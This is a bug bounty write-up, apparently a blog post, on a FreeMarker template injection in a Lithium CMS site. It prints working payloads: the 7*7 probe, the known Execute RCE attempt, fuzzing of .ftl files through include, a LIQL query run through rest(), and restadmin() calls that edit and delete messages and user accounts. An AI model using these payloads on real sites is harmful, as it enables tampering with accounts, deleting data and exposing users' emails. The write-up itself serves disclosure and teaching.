limited freemarker ssti to arbitrary liql query and manage lithium cms

we faced (w/ @celalerdik) an interesting ssti vulnerability on a bugcrowd's program. we could show the traditional '49' number when trying the ${7*7} command, also we could execute the assign directive reference like below.

<#assign attribute1="ssti">
<#assign attribute2="test">

//prints sstitest

it clearly looked like freemarker template engine. but we have never been able to use freemarker.template.utility package. so, the known freemarker ssti commands were not working for this case. (e.g., ${"freemarker.template.utility.Execute"?new()("id")})

it looked like a very limited ssti, but we started to investigate other functions of freemarker template engine. we tried to execute the template include function and it worked. then, we fuzzed the .ftl files on the server using with this command: <#include "*/FUZZ.ftl">

then, search.ftl appeared on burp's intruder. it was include the following freemarker template engine codes:

<#assign pageSize = />
<#assign term = encode.url( />
<#assign blurbLength = />

<#assign resultMessages = rest("/search/messages?restapi.response_style=view&q=" + term).messages.message />
<#assign totalResults = resultMessages?size />

this rest function looked like an important and it required a little more focus. we got stack trace error when trying to access local files with this.

we faced with the lithium cms after finding something about rest function on freemarker. lithium cms is supporting freemarker template but it is so limited. we changed our perspective to lithium cms's freemaker capability from rce finding. :)

we could exucute liql(lithium query language) query on server using the following lines and fetched the last 5 messages on website:

<#assign x= rest("2.0","/search?q=" + "SELECT subject FROM messages ORDER BY post_time DESC LIMIT 5"?url) />
    <#list as message >


we fetched also users data using this method but actually everything looked normal and anyone could already access the messages or users on the website. at this point we were a little bored but restadmin function saved us.

we couldn't fetch the users's email data using rest but restadmin could fetch them.

we continued research to increase its impact and tried the following commands:

<#assign messagePostBody = {
    "type": "message",
    "id": "1000",
    "subject": "hacked-message"
} />
<#assign resp = restadmin("2.0", "/messages/1000", "PUT", messagePostBody) />


<#assign resp = restadmin("2.0", "/messages/1000", "DELETE") />


<#assign messagePostBody = {
    "type": "user",
    "id": "1000",
    "login": "hacked-user"
} />
<#assign resp = restadmin("2.0", "/users/1000", "PUT", messagePostBody) />


<#assign resp = restadmin("2.0", "/users/1000", "DELETE") />

liql is just supporting select queries but put, post and delete api requests could be sent with this method. so, we could delete, change the users, messages, and all collections of website.

after a while, it's accepted and rewarded as p1.

stay safe!

comments powered by Disqus